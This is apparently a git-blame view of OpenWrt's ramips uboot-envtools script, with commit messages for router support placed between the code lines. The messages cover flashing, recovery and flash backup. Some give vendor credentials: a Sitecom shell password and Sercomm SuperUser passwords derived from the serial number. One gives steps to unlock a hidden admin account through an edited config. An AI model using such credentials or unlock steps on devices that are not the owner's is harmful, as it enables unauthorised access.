openwrt/package/boot/uboot-envtools/files/ramips

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#
# Copyright (C) 2011-2012 OpenWrt.org
#
[ -e /etc/config/ubootenv ] && exit 0
touch /etc/config/ubootenv
. /lib/uboot-envtools.sh
. /lib/functions.sh
board=$(board_name)
case "$board" in
alfa-network,ac1200rm|\
alfa-network,awusfree1|\
alfa-network,quad-e4g|\
alfa-network,r36m-e4g|\
ramips: add support for Senao Engenius ESR600H FCC ID: A8J-ESR750H Engenius ESR600H is an indoor wireless router with a gigabit switch, 2.4 GHz and 5 GHz wireless, internal and external antennas, and a USB port. **Specification:** - RT3662F MIPS SOC, 5 GHz WMAC (2x2) - RT5392L PCI on-board, 2.4 GHz (2x2) - AR8327 RGMII, 7-port GbE, 25 MHz clock - 40 MHz reference clock - 8 MB FLASH 25L6406EM2I-12G - 64 MB RAM - UART at J12 (unpopulated) - 2 internal antennas (5 GHz) - 2 external antennas (2.4 GHz) - 9 LEDs, 1 button (power, wps, wifi2g, wifi5g, 5 LAN/WAN) - USB 2 port (GPIO controlled power) **MAC addresses:** MAC Addresses are labeled as WAN and WLAN U-boot environment has the the vendor MAC address for ethernet MAC addresses in "factory" are part of wifi calibration data eth0.2 WAN *:13:e7 u-boot-env wanaddr eth0.1 ---- *:13:e8 u-boot-env wanaddr + 1 phy0 WLAN *:14:b8 factory 0x8004 phy1 ---- *:14:bc factory 0x4 **Installation:** Method 1: Firmware upgrade page OEM webpage at 192.168.0.1 username and password "admin" Navigate to Network Setting --> Tools --> Firmware Click Browse and select the factory.dlf image Click Continue to confirm and wait 6 minutes or more... Method 2: Serial console to load TFTP image: (see TFTP recovery) **Return to OEM:** Unlike most Engenius boards, this does not have a 'failsafe' image the only way to return to OEM is serial access to uboot Unlike most Engenius boards, public images are not available... so the only way to return to OEM is to have a copy of the MTD partition "firmware" BEFORE flashing openwrt. **TFTP recovery:** Unlike most Engenius boards, TFTP is reliable here however it requires serial console access (soldering pins to the UART pinouts) build your own image... with 'ramdisk' selected under 'Target Images' rename initramfs-kernel.bin to 'uImageESR-600H' make the file available on a TFTP server at 192.168.99.8 interrupt boot by holding or pressing '4' in serial console as soon as board is powered on `tftpboot 0x81000000` `bootm 0x81000000` perform a sysupgrade **Format of OEM firmware image:** This Engenius board uses the Senao proprietary header with a unique Product ID. The header for factory.bin is generated by the mksenaofw program included in openwrt. .dlf file extension is also required for OEM software to accept it **Note on using OKLI:** the kernel is now too large for the bootloader to handle so OKLI is used via the `kernel-loader` image command recently in master several other ramips boards have the same problem 'Kernel panic - not syncing: Failed to find ralink,rt3883-sysc node' see commit ad19751edc21ae713bd95df6b93be64bd1e0c612 Signed-off-by: Michael Pratt <mcpratt@pm.me>
2020-11-26 08:33:40 +00:00
alfa-network,tube-e4g|\
ramips: add support for Senao Engenius EPG600 FCC ID: A8J-EPG600 Engenius EPG600 is an indoor wireless router with 1 Gb ethernet switch, dual-band wireless, internal antenna plates, USB, and phone lines (not supported) this board is a Senao device: the hardware is equivalent to EnGenius ESR600 (except for phone lines) the software is Senao SDK which is based on openwrt and uboot which uses the legacy Senao header with Vendor / Product IDs to verify the firmware upgrade image. **Specification:** - MT7620 SOC MIPS 24kec, 2.4 GHz WMAC, 2x2 - RT5592N WLAN PCI chip, 5 GHz, 2x2 - QCA8337N Gb SW RGMII GbE, SW P0 -- SOC P5, 5 LEDs - 40 MHz clock - 16 MB FLASH MX25L12845EMI-10G - 64 MB RAM NT5TU32M16 - UART console J2, populated - USB 2.0 port direct to SOC - 6 GPIO LEDs power, 2G, 5G, wps2g, wps5g, line - 3 buttons reset, wps, "reg" (registeration) - 4 antennas internal omni-directional plates NOT YET SUPPORTED: VoIP - Si3050-FT + Si3019-FT Voice DAA, SPI control, PCM data - Phone Ports "TEL", "LINE" RJ11, 4P2C (2 pins) **MAC addresses:** MAC address labeled as MAC ADDRESS MACs present in both wifi cal data and uboot environment eth0.1/phy1 ---- *:82 rf 0x4 phy0 ---- *:83 factory 0x4 eth0.2 MAC *:b8 "wanaddr" **Installation:** Method 1: Firmware upgrade page: (if you cannot access the APs webpage) factory reset with the reset button connect ethernet to a computer OEM webpage at 192.168.0.1 username and password 'admin' Navigate to gear icon, "Device Management", "Tools" select the factory.dlf image Upload and verify checksum Method 2: Serial to upload initramfs: Follow directions for TFTP recovery upload and boot initramfs and do a sysupgrade **TFTP recovery:** Requires UART serial console, reset button does nothing rename initramfs-kernel.bin to 'uImageEPG600' make available on TFTP server at 192.168.99.8 power board, interrupt boot with "4" execute `tftpboot` and `bootm` (with the load address) **Return to OEM:** Images from OEM are provided, but not compatible with openwrt sysupgrade. So it must be modified. Alternatively, back up all mtd partitions before flashing **Note on switch registers:** The necessary registers needed for the QCA8337 switch can be read from interrupted boot (tftpboot, bootm) by using the following lines in the switch driver ar8327.c in the function 'ar8327_hw_config_of' where 'qca,ar8327-initvals' is parsed from DTS before the new register values are written: pr_info("0x04 %08x\n", ar8xxx_read(priv, AR8327_REG_PAD0_MODE)); pr_info("0x08 %08x\n", ar8xxx_read(priv, AR8327_REG_PAD5_MODE)); pr_info("0x0c %08x\n", ar8xxx_read(priv, AR8327_REG_PAD6_MODE)); pr_info("0x10 %08x\n", ar8xxx_read(priv, AR8327_REG_POWER_ON_STRAP)); Signed-off-by: Michael Pratt <mcpratt@pm.me>
2021-04-19 19:45:32 +00:00
engenius,epg600|\
ramips: add support for Sitecom WLR-4100 v1 002 Sitecom WLR-4100 v1 002 (marked as X4 N300) is a wireless router Specification: SoC: MT7620A RAM: 64 MB DDR2 Flash: MX25L6405D SPI NOR 8 MB WIFI: 2.4 GHz integrated Ethernet: 5x 10/100/1000 Mbps QCA8337 USB: 1x 2.0 LEDS: 2x GPIO controlled, 5x switch Buttons: 1x GPIO controlled UART: row of 4 unpopulated holes near USB port, starting count from white triangle on PCB: VCC 3.3V GND TX RX baud: 115200, parity: none, flow control: none Installation Connect to one of LAN (yellow) ethernet ports, Open router configuration interface, Go to Toolbox > Firmware, Browse for OpenWrt factory image with dlf extension and hit Apply, Wait few minutes, after the Power LED will stop blinking, the router is ready for configuration. Known issues Some USB 2.0 devices work at full speed mode 1.1 only MAC addresses factory partition only contains one (binary) MAC address in 0x4. u-boot-env contains four (ascii) MAC addresses, of which two appear to be valid. factory 0x4 **:**:**:**:b9:84 binary u-boot-env ethaddr **:**:**:**:b9:84 ascii u-boot-env wanaddr **:**:**:**:b9:85 ascii u-boot-env wlanaddr 00:AA:BB:CC:DD:12 ascii u-boot-env iNICaddr 00:AA:BB:CC:DD:22 ascii The factory firmware only assigns ethaddr. Thus, we take the binary value which we can use directly in DTS. Additional information OEM firmware shell password is: SitecomSenao useful for creating backup of original firmware. There is also another revision of this device (v1 001), based on RT3352 SoC Signed-off-by: Andrea Poletti <polex73@yahoo.it> [remove config DT label, convert to nvmem, remove MAC address setup from u-boot-env, add MAC address info to commit message] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2021-07-23 16:15:00 +00:00
engenius,esr600h|\
linksys,re7000|\
ramips: add support for Keenetic Lite III rev. A General specification: SoC Type: MediaTek MT7620N (580MHz) ROM: 8 MB SPI-NOR (W25Q64FV) RAM: 64 MB DDR (EM6AB160TSD-5G) Switch: MediaTek MT7530 Ethernet: 5 ports - 5×100MbE (WAN, LAN1-4) Wireless: 2.4 GHz (MediaTek RT5390): b/g/n Buttons: 3 button (POWER, RESET, WPS) Slide switch: 4 position (BASE, ADAPTER, BOOSTER, ACCESS POINT) Bootloader: U-Boot 1.1.3 Power: 9 VDC, 0.6 A MAC in stock: |- + | | LAN | RF-EEPROM + 0x04 | | WLAN | RF-EEPROM + 0x04 | | WAN | RF-EEPROM + 0x28 | OEM easy installation 1. Use a PC to browse to http://my.keenetic.net. 2. Go to the System section and open the Files tab. 3. Under the Files tab, there will be a list of system files. Click on the Firmware file. 4. When a modal window appears, click on the Choose File button and upload the firmware image. 5. Wait for the router to flash and reboot. OEM installation using the TFTP method 1. Download the latest firmware image and rename it to klite3_recovery.bin. 2. Set up a Tftp server on a PC (e.g. Tftpd32) and place the firmware image to the root directory of the server. 3. Power off the router and use a twisted pair cable to connect the PC to any of the router's LAN ports. 4. Configure the network adapter of the PC to use IP address 192.168.1.2 and subnet mask 255.255.255.0. 5. Power up the router while holding the reset button pressed. 6. Wait approximately for 5 seconds and then release the reset button. 7. The router should download the firmware via TFTP and complete flashing in a few minutes. After flashing is complete, use the PC to browse to http://192.168.1.1 or ssh to proceed with the configuration. Signed-off-by: Alexey Bartenev <41exey@proton.me>
2023-03-10 15:35:30 +00:00
sitecom,wlr-4100-v1-002|\
zyxel,keenetic-lite-iii-a)
ubootenv_add_uci_config "/dev/mtd1" "0x0" "0x1000" "0x1000"
;;
ramips: add support for D-Link DIR-806A B1 router General specification: SoC Type: MediaTek MT7620A (580MHz) ROM: 8 MB SPI-NOR (MX25L6406E) RAM: 64 MB DDR (W9751G6KB-25) Switch: MediaTek MT7530 Ethernet: 5 ports - 5×100MbE (WAN, LAN1-4) Wireless: 2.4 GHz (MediaTek RT5390): b/g/n Wireless: 5 GHz (MediaTek MT7610EN): ac/n Buttons: 2 button (POWER, WPS/RESET) Bootloader: U-Boot 1.1.3 Power: 12 VDC, 0.5 A MACs: | LAN | [Factory + 0x04] - 2 | | WLAN 2.4g | [Factory + 0x04] - 1 | | WLAN 5g | [Factory + 0x8004] - 3 | | WAN | [Factory + 0x04] - 2 | OEM easy installation: 1. Use a PC to browse to http://192.168.0.1. 2. Go to the System section and open the Firmware Update section. 3. Under the Local Update at the right, click on the CHOOSE FILE... 4. When a modal window appears, choose the firmware file and click on the Open. 5. Next click on the UPDATE FIRMWARE button and upload the firmware image. Wait for the router to flash and reboot. OEM installation using the TFTP method (need level converter): 1. Download the latest firmware image. 2. Set up a Tftp server on a PC (e.g. Tftpd32) and place the firmware image to the root directory of the server. 3. Power off the router and use a twisted pair cable to connect the PC to any of the router's LAN ports. 4. Configure the network adapter of the PC to use IP address 192.168.0.180 and subnet mask 255.255.255.0. 5. Connect serial port (57600 8N1) and turn on the router. 6. Then interrupt "U-Boot Boot Menu" by hitting 2 key (select "2: Load system code then write to Flash via TFTP."). 7. Press Y key when show "Warning!! Erase Linux in Flash then burn new one. Are you sure? (Y/N)" Input device IP (192.168.0.1) ==:192.168.0.1 Input server IP (192.168.0.180) ==:192.168.0.180 Input Linux Kernel filename () ==:firmware_name The router should download the firmware via TFTP and complete flashing in a few minutes. After flashing is complete, use the PC to browse to http://192.168.1.1 or ssh to proceed with the configuration. Signed-off-by: Alexey Bartenev <41exey@proton.me>
2023-05-31 14:50:23 +00:00
arcadyan,we420223-99|\
dlink,dir-806a-b1)
ramips: mt7621: Add Arcadyan WE420223-99 support The Arcadyan WE420223-99 is a WiFi AC simultaneous dual-band access point distributed as Experia WiFi by KPN in the Netherlands. It features two ethernet ports and 2 internal antennas. Specifications -------------- SOC : Mediatek MT7621AT ETH : Two 1 gigabit ports, built into the SOC WIFI : MT7615DN BUTTON: Reset BUTTON: WPS LED : Power (green+red) LED : WiFi (green+blue) LED : WPS (green+red) LED : Followme (green+red) Power : 12 VDC, 1A barrel plug Winbond variant: RAM : Winbond W631GG6MB12J, 1GBIT DDR3 SDRAM Flash : Winbond W25Q256JVFQ, 256Mb SPI U-Boot: 1.1.3 (Nov 23 2017 - 16:40:17), Ralink 5.0.0.1 Macronix variant: RAM : Nanya NT5CC64M16GP-DI, 1GBIT DDR3 SDRAM Flash : MX25l25635FMI-10G, 256Mb SPI U-Boot: 1.1.3 (Dec 4 2017 - 11:37:57), Ralink 5.0.0.1 Serial ------ The serial port needs a TTL/RS-232 3V3 level converter! The Serial setting is 57600-8-N-1. The board has an unpopulated 2.54mm straight pin header. The pinout is: VCC (the square), RX, TX, GND. Installation ------------ See the Wiki page [1] for more details, it comes down to: 1. Open the device, take off the heat sink 2. Connect the SPI flash chip to a flasher, e.g. a Raspberry Pi. Also connect the RESET pin for stability (thanks @FPSUsername for reporting) 3. Make a backup in case you want to revert to stock later 4. Flash the squashfs-factory.trx file to offset 0x50000 of the flash 5. Ensure the bootpartition variable is set to 0 in the U-Boot environment located at 0x30000 Note that the U-Boot is password protected, this can optionally be removed. See the forum [2] for more details. MAC Addresses(stock) -------------------- +----------+------------------+-------------------+ | use | address | example | +----------+------------------+-------------------+ | Device | label | 00:00:00:11:00:00 | | Ethernet | + 3 | 00:00:00:11:00:03 | | 2g | + 0x020000f00001 | 02:00:00:01:00:01 | | 5g | + 1 | 00:00:00:11:00:01 | +----------+------------------+-------------------+ The label address is stored in ASCII in the board_data partition Notes ----- - This device has a dual-boot partition scheme, but OpenWRT will claim both partitions for more storage space. Known issues ------------ - 2g MAC address does not match stock due to missing support for that in macaddr_add - Only the power LED is configured by default References ---------- [1] https://openwrt.org/inbox/toh/arcadyan/astoria/we420223-99 [2] https://forum.openwrt.org/t/adding-openwrt-support-for-arcadyan-we420223-99-kpn-experia-wifi/132653 Acked-by: Arınç ÜNAL <arinc.unal@arinc9.com> Signed-off-by: Harm Berntsen <git@harmberntsen.nl>
2023-01-08 16:03:25 +00:00
ubootenv_add_uci_config "/dev/mtd2" "0x0" "0x1000" "0x1000"
;;
allnet,all0256n-4m|\
allnet,all0256n-8m|\
allnet,all5002|\
yuncore,ax820)
ubootenv_add_uci_config "/dev/mtd1" "0x0" "0x10000" "0x10000"
;;
ramips: add support for Amped Wireless ALLY router and extender Amped Wireless ALLY is a whole-home WiFi kit, with a router (model ALLY-R1900K) and an Extender (model ALLY-00X19K). Both are devices are 11ac and based on MediaTek MT7621AT and MT7615N chips. The units are nearly identical, except the Extender lacks a USB port and has a single Ethernet port. Specification: - SoC: MediaTek MT7621AT (2C/4T) @ 880MHz - RAM: 128MB DDR3 (Nanya NT5CC64M16GP-DI) - FLASH: 128MB NAND (Winbond W29N01GVSIAA) - WiFi: 2.4/5 GHz 4T4R - 2.4GHz MediaTek MT7615N bgn - 5GHz MediaTek MT7615N nac - Switch: SoC integrated Gigabit Switch - USB: 1x USB3 (Router only) - BTN: Reset, WPS - LED: single RGB - UART: through-hole on PCB. J1: pin1 (square pad, towards rear)=3.3V, pin2=RX, pin3=GND, pin4=TX. Settings: 57600/8N1. Note regarding dual system partitions ------------------------------------- The vendor firmware and boot loader use a dual partition scheme. The boot partition is decided by the bootImage U-boot environment variable: 0 for the 1st partition, 1 for the 2nd. OpenWrt does not support this scheme and will always use the first OS partition. It will set bootImage to 0 during installation, making sure the first partition is selected by the boot loader. Also, because we can't be sure which partition is active to begin with, a 2-step flash process is used. We first flash an initramfs image, then follow with a regular sysupgrade. Installation: Router (ALLY-R1900K) 1) Install the flashable initramfs image via the OEM web-interface. (Alternatively, you can use the TFTP recovery method below.) You can use WiFi or Ethernet. The direct URL is: http://192.168.3.1/07_06_00_firmware.html a. No login is needed, and you'll be in their setup wizard. b. You might get a warning about not being connected to the Internet. c. Towards the bottom of the page will be a section entitled "Or Manually Upgrade Firmware from a File:" where you can manually choose and upload a firmware file. d: Click "Choose File", select the OpenWRT "initramfs" image and click "Upload." 2) The Router will flash the OpenWrt initramfs image and reboot. After booting, LuCI will be available on 192.168.1.1. 3) Log into LuCI as root; there is no password. 4) Optional (but recommended) is to backup the OEM firmware before continuing; see process below. 5) Complete the Installation by flashing a full OpenWRT image. Note: you may use the sysupgrade command line tool in lieu of the UI if you prefer. a. Choose System -> Backup/Flash Firmware. b. Click "Flash Image..." under "Flash new firmware image" c. Click "Browse..." and then select the sysupgrade file. d. Click Upload to upload the sysupgrade file. e. Important: uncheck "Keep settings and retain the current configuration" for this initial installation. f. Click "Continue" to flash the firmware. g. The device will reboot and OpenWRT is installed. Extender (ALLY-00X19K) 1) This device requires a TFTP recovery procedure to do an initial load of OpenWRT. Start by configuring a computer as a TFTP client: a. Install a TFTP client (server not necessary) b. Configure an Ethernet interface to 192.168.1.x/24; don't use .1 or .6 c. Connect the Ethernet to the sole Ethernet port on the X19K. 2) Put the ALLY Extender in TFTP recovery mode. a. Do this by pressing and holding the reset button on the bottom while connecting the power. b. As soon as the LED lights up green (roughly 2-3 seconds), release the button. 3) Start the TFTP transfer of the Initramfs image from your setup machine. For example, from Linux: tftp -v -m binary 192.168.1.6 69 -c put initramfs.bin 4) The Extender will flash the OpenWrt initramfs image and reboot. After booting, LuCI will be available on 192.168.1.1. 5) Log into LuCI as root; there is no password. 6) Optional (but recommended) is to backup the OEM firmware before continuing; see process below. 7) Complete the Installation by flashing a full OpenWRT image. Note: you may use the sysupgrade command line tool in lieu of the UI if you prefer. a. Choose System -> Backup/Flash Firmware. b. Click "Flash Image..." under "Flash new firmware image" c. Click "Browse..." and then select the sysupgrade file. d. Click Upload to upload the sysupgrade file. e. Important: uncheck "Keep settings and retain the current configuration" for this initial installation. f. Click "Continue" to flash the firmware. g. The device will reboot and OpenWRT is installed. Backup the OEM Firmware: ----------------------- There isn't any downloadable firmware for the ALLY devices on the Amped Wireless web site. Reverting back to the OEM firmware is not possible unless we have a backup of the original OEM firmware. The OEM firmware may be stored on either /dev/mtd3 ("firmware") or /dev/mtd6 ("oem"). We can't be sure which was overwritten with the initramfs image, so backup both partitions to be safe. 1) Once logged into LuCI, navigate to System -> Backup/Flash Firmware. 2) Under "Save mtdblock contents," first select "firmware" and click "Save mtdblock" to download the image. 3) Repeat the process, but select "oem" from the pull-down menu. Revert to the OEM Firmware: -------------------------- * U-boot TFTP: Follow the TFTP recovery steps for the Extender, and use the backup image. * OpenWrt "Flash Firmware" interface: Upload the backup image and select "Force update" before continuing. Signed-off-by: Jonathan Sturges <jsturges@redhat.com>
2021-06-05 12:17:42 +00:00
ampedwireless,ally-00x19k|\
ampedwireless,ally-r1900k)
ubootenv_add_uci_config "/dev/mtd1" "0x0" "0x1000" "0x20000" "4"
;;
ramips: add support for Beeline SmartBox TURBO Beeline SmartBox TURBO is a wireless WiFi 5 router manufactured by Sercomm company. Device specification -------------------- SoC Type: MediaTek MT7621AT RAM: 256 MiB Flash: 256 MiB, Micron MT29F2G08ABAGA3W Wireless 2.4 GHz (MT7603EN): b/g/n, 2x2 Wireless 5 GHz (MT7615E): a/n/ac, 4x4 Ethernet: 5xGbE (WAN, LAN1, LAN2, LAN3, LAN4) USB ports: 1xUSB3.0 Button: 2 buttons (Reset & WPS) LEDs: 1 RGB LED Power: 12 VDC, 1.5 A Connector type: barrel Bootloader: U-Boot Installation ----------------- 1. Login to the router web interface (admin:admin) 2. Navigate to Settings -> WAN -> Add static IP interface (e.g. 10.0.0.1/255.255.255.0) 3. Navigate to Settings -> Remote cotrol -> Add SSH, port 22, 10.0.0.0/255.255.255.0 and interface created before 4. Change IP of your client to 10.0.0.2/255.255.255.0 and connect the ethernet cable to the WAN port of the router 5. Connect to the router using SSH shell (SuperUser:SNxxxxxxxxxx, where SNxxxxxxxxxx is the serial number from the backplate label) 6. Run in SSH shell: sh 7. Make a mtd backup (optional, see related section) 8. Change bootflag to Sercomm1 and reboot: printf 1 | dd bs=1 seek=7 count=1 of=/dev/mtdblock3 reboot 9. Login to the router web interface (admin:admin) 10. Remove dots from the OpenWrt factory image filename 11. Update firmware via web using OpenWrt factory image Revert to stock --------------- 1. Change bootflag to Sercomm1 in OpenWrt CLI and then reboot: printf 1 | dd bs=1 seek=7 count=1 of=/dev/mtdblock3 2. Optional: Update with any stock (Beeline) firmware if you want to overwrite OpenWrt in Slot 0 completely. mtd backup ---------- 1. Set up a tftp server (e.g. tftpd64 for windows) 2. Connect to a router using SSH shell and run the following commands: cd /tmp for i in 0 1 2 3 4 5 6 7 8 9 10; do nanddump -f mtd$i /dev/mtd$i; \ tftp -l mtd$i -p 10.0.0.2; md5sum mtd$i >> mtd.md5; rm mtd$i; done tftp -l mtd.md5 -p 10.0.0.2 MAC Addresses ------------- +-----+-----------+---------+ | use | address | example | +-----+-----------+---------+ | LAN | label | *:54 | | WAN | label + 1 | *:55 | | 2g | label + 4 | *:58 | | 5g | label + 5 | *:59 | +-----+-----------+---------+ The label MAC address was found in Factory 0x21000 Co-developed-by: Maximilian Weinmann <x1@disroot.org> Signed-off-by: Maximilian Weinmann <x1@disroot.org> Signed-off-by: Mikhail Zhilkin <csharper2005@gmail.com>
2022-03-18 18:09:45 +00:00
beeline,smartbox-giga|\
ramips: add support for Rostelecom RT-SF-1 Rostelecom RT-SF-1 is a wireless WiFi 5 router manufactured by Sercomm company. Device specification -------------------- SoC Type: MediaTek MT7621AT RAM: 256 MiB Flash: 256 MiB, Micron MT29F2G08ABAGA3W Wireless 2.4 GHz (MT7603EN): b/g/n, 2x2 Wireless 5 GHz (MT7615E): a/n/ac, 4x4 Ethernet: 5xGbE (WAN, LAN1, LAN2, LAN3, LAN4) USB ports: 1xUSB3.0 ZigBee: 3.0, EFR32 MG1B232GG Button: 2 buttons (Reset & WPS) LEDs: - 1x Status (RGB) - 1x 2.4G (blue, hardware, mt76-phy0) - 1x 5G (blue, hardware, mt76-phy1) Power: 12 VDC, 1.5 A Connector type: barrel Bootloader: U-Boot Installation ----------------- 1. Remove dots from the OpenWrt factory image filename 2. Login to the router web interface 3. Update firmware using web interface with the OpenWrt factory image 4. If OpenWrt is booted, then no further steps are required. Enjoy! Otherwise (Stock firmware has booted again) proceed to the next step. 5. Update firmware using web interface with any version of the Stock firmware 6. Update firmware using web interface with the OpenWrt factory image Revert to stock --------------- Change bootflag to Sercomm1 in OpenWrt CLI and then reboot: printf 1 | dd bs=1 seek=7 count=1 of=/dev/mtdblock3 Recovery -------- Use sercomm-recovery tool. Link: https://github.com/danitool/sercomm-recovery MAC Addresses ------------- +-----+------------+------------+ | use | address | example | +-----+------------+------------+ | LAN | label | *:72, *:d2 | | WAN | label + 11 | *:7d, *:dd | | 2g | label + 2 | *:74, *:d4 | | 5g | label + 3 | *:75, *:d5 | +-----+------------+------------+ The label MAC address was found in Factory 0x21000 Signed-off-by: Mikhail Zhilkin <csharper2005@gmail.com>
2022-11-02 08:44:46 +00:00
beeline,smartbox-turbo|\
ramips: Add support for Beeline SmartBox TURBO+ This adds support for Beeline Smart Box TURBO+ (Serсomm S3 CQR) router. Device specification -------------------- SoC Type: MediaTek MT7621AT (880 MHz, 2 cores) RAM (Nanya NT5CC64M16GP): 128 MiB Flash (Macronix MX30LF1G18AC): 128 MiB Wireless 2.4 GHz (MT7603EN): b/g/n, 2x2 Wireless 5 GHz (MT7615N): a/n/ac, 4x4 Ethernet: 5 ports - 5×GbE (WAN, LAN1-4) USB ports: 1xUSB3.0 Buttons: 2 button (reset, wps) LEDs: Red, Green, Blue Zigbee (EFR32MG1B232GG): 3.0 Stock bootloader: U-Boot 1.1.3 Power: 12 VDC, 1.5 A Installation (fw 2.0.9) ----------------------- 1. Login to the web interface under SuperUser (root) credentials. Password: SDXXXXXXXXXX, where SDXXXXXXXXXX is serial number of the device written on the backplate stick. 2. Navigate to Setting -> WAN. Add: Name - WAN1 Connection Type - Static IP Address - 172.16.0.1 Netmask - 255.255.255.0 Save -> Apply. Set default: WAN1 3. Enable SSH and HTTP on WAN. Setting -> Remote control. Add: Protocol - SSH Port - 22 IP Address - 172.16.0.1 Netmask - 255.255.255.0 WAN Interface - WAN1 Save ->Apply Add: Protocol - HTTP Port - 80 IP Address - 172.16.0.1 Netmask - 255.255.255.0 WAN interface - WAN1 Save -> Apply 4. Set up your PC ethernet: Connection Type - Static IP Address - 172.16.0.2 Netmask - 255.255.255.0 Gateway - 172.16.0.1 5. Connect PC using ethernet cable to the WAN port of the router 6. Connect to the router using SSH shell under SuperUser account 7. Make a mtd backup (optional, see related section) 8. Change bootflag to Sercomm1 and reboot: printf 1 | dd bs=1 seek=7 count=1 of=/dev/mtdblock3 reboot 9. Login to the router web interface under admin account 10. Remove dots from the OpenWrt factory image filename 11. Update firmware via web using OpenWrt factory image Revert to stock --------------- Change bootflag to Sercomm1 in OpenWrt CLI and then reboot: printf 1 | dd bs=1 seek=7 count=1 of=/dev/mtdblock3 mtd backup ---------- 1. Set up a tftp server (e.g. tftpd64 for windows) 2. Connect to a router using SSH shell and run the following commands: cd /tmp for i in 0 1 2 3 4 5 6 7 8 9 10; do nanddump -f mtd$i /dev/mtd$i; \ tftp -l mtd$i -p 172.16.0.2; md5sum mtd$i >> mtd.md5; rm mtd$i; done tftp -l mtd.md5 -p 171.16.0.2 Recovery -------- Use sercomm-recovery tool. Link: https://github.com/danitool/sercomm-recovery MAC Addresses (fw 2.0.9) ------------------------ +-----+------------+---------+ | use | address | example | +-----+------------+---------+ | LAN | label | *:e8 | | WAN | label + 1 | *:e9 | | 2g | label + 4 | *:ec | | 5g | label + 5 | *:ed | +-----+------------+---------+ The label MAC address was found in Factory 0x21000 Factory image format -------------------- +---+-------------------+-------------+--------------------+ | # | Offset | Size | Description | +---+-------------------+-------------+--------------------+ | 1 | 0x0 | 0x200 | Tag Header Factory | | 2 | 0x200 | 0x100 | Tag Header Kernel1 | | 3 | 0x300 | 0x100 | Tag Header Kernel2 | | 4 | 0x400 | SIZE_KERNEL | Kernel | | 5 | 0x400+SIZE_KERNEL | SIZE_ROOTFS | RootFS(UBI) | +---+-------------------+-------------+--------------------+ Co-authored-by: Mikhail Zhilkin <csharper2005@gmail.com> Signed-off-by: Maximilian Weinmann <x1@disroot.org>
2022-12-07 16:44:09 +00:00
beeline,smartbox-turbo-plus|\
ramips: add support for Etisalat S3 Etisalat S3 is a wireless WiFi 5 router manufactured by Sercomm company. Device specification -------------------- SoC Type: MediaTek MT7621AT RAM: 256 MiB Flash: 128 MiB Wireless 2.4 GHz (MT7603EN): b/g/n, 2x2 Wireless 5 GHz (MT7615E): a/n/ac, 4x4 Ethernet: 5x GbE (WAN, LAN1, LAN2, LAN3, LAN4) USB ports: 1x USB3.0 Button: 2 buttons (Reset & WPS) LEDs: - 1x Status (RGB) - 1x 2.4G (blue, hardware, mt76-phy0) - 1x 5G (blue, hardware, mt76-phy1) Power: 12 VDC, 1.5 A Connector type: barrel Bootloader: U-Boot Installation ----------------- 1. Login to the router web interface under admin account 2. Navigate to Settings -> Configuration -> Save to Computer 3. Decode the configuration. For example, using cfgtool.py tool (see related section): cfgtool.py -u configurationBackup.cfg 4. Open configurationBackup.xml and find the following line: <PARAMETER name="Password" type="string" value="<your router serial \ is here>" writable="1" encryption="1" password="1"/> 5. Insert the following line after and save: <PARAMETER name="Enable" type="boolean" value="1" writable="1" encryption="0"/> 6. Encode the configuration. For example, using cfgtool.py tool: cfgtool.py -p configurationBackup.xml 7. Upload the changed configuration (configurationBackup_changed.cfg) to the router 8. Login to the router web interface (SuperUser:ETxxxxxxxxxx, where ETxxxxxxxxxx is the serial number from the backplate label) 9. Navigate to Settings -> WAN -> Add static IP interface (e.g. 10.0.0.1/255.255.255.0) 10. Navigate to Settings -> Remote cotrol -> Add SSH, port 22, 10.0.0.0/255.255.255.0 and interface created before 11. Change IP of your client to 10.0.0.2/255.255.255.0 and connect the ethernet cable to the WAN port of the router 12. Connect to the router using SSH shell under SuperUser account 13. Run in SSH shell: sh 14. Make a mtd backup (optional, see related section) 15. Change bootflag to Sercomm1 and reboot: printf 1 | dd bs=1 seek=7 count=1 of=/dev/mtdblock3 reboot 16. Login to the router web interface under admin account 17. Remove dots from the OpenWrt factory image filename 18. Update firmware via web using OpenWrt factory image Revert to stock --------------- Change bootflag to Sercomm1 in OpenWrt CLI and then reboot: printf 1 | dd bs=1 seek=7 count=1 of=/dev/mtdblock3 mtd backup ---------- 1. Set up a tftp server (e.g. tftpd64 for windows) 2. Connect to a router using SSH shell and run the following commands: cd /tmp for i in 0 1 2 3 4 5 6 7 8 9 10; do nanddump -f mtd$i /dev/mtd$i; \ tftp -l mtd$i -p 10.0.0.2; md5sum mtd$i >> mtd.md5; rm mtd$i; done tftp -l mtd.md5 -p 10.0.0.2 Recovery -------- Use sercomm-recovery tool. Link: https://github.com/danitool/sercomm-recovery MAC Addresses ------------- +-----+------------+---------+ | use | address | example | +-----+------------+---------+ | LAN | label | *:50 | | WAN | label + 11 | *:5b | | 2g | label + 2 | *:52 | | 5g | label + 3 | *:53 | +-----+------------+---------+ The label MAC address was found in Factory 0x21000 cfgtool.py ---------- A tool for decoding and encoding Sercomm configs. Link: https://github.com/r3d5ky/sercomm_cfg_unpacker Co-authored-by: Karim Dehouche <karimdplay@gmail.com> Co-authored-by: Maximilian Weinmann <x1@disroot.org> Signed-off-by: Mikhail Zhilkin <csharper2005@gmail.com>
2022-11-27 14:01:58 +00:00
etisalat,s3|\
ramips: add support for Rostelecom RT-SF-1 Rostelecom RT-SF-1 is a wireless WiFi 5 router manufactured by Sercomm company. Device specification -------------------- SoC Type: MediaTek MT7621AT RAM: 256 MiB Flash: 256 MiB, Micron MT29F2G08ABAGA3W Wireless 2.4 GHz (MT7603EN): b/g/n, 2x2 Wireless 5 GHz (MT7615E): a/n/ac, 4x4 Ethernet: 5xGbE (WAN, LAN1, LAN2, LAN3, LAN4) USB ports: 1xUSB3.0 ZigBee: 3.0, EFR32 MG1B232GG Button: 2 buttons (Reset & WPS) LEDs: - 1x Status (RGB) - 1x 2.4G (blue, hardware, mt76-phy0) - 1x 5G (blue, hardware, mt76-phy1) Power: 12 VDC, 1.5 A Connector type: barrel Bootloader: U-Boot Installation ----------------- 1. Remove dots from the OpenWrt factory image filename 2. Login to the router web interface 3. Update firmware using web interface with the OpenWrt factory image 4. If OpenWrt is booted, then no further steps are required. Enjoy! Otherwise (Stock firmware has booted again) proceed to the next step. 5. Update firmware using web interface with any version of the Stock firmware 6. Update firmware using web interface with the OpenWrt factory image Revert to stock --------------- Change bootflag to Sercomm1 in OpenWrt CLI and then reboot: printf 1 | dd bs=1 seek=7 count=1 of=/dev/mtdblock3 Recovery -------- Use sercomm-recovery tool. Link: 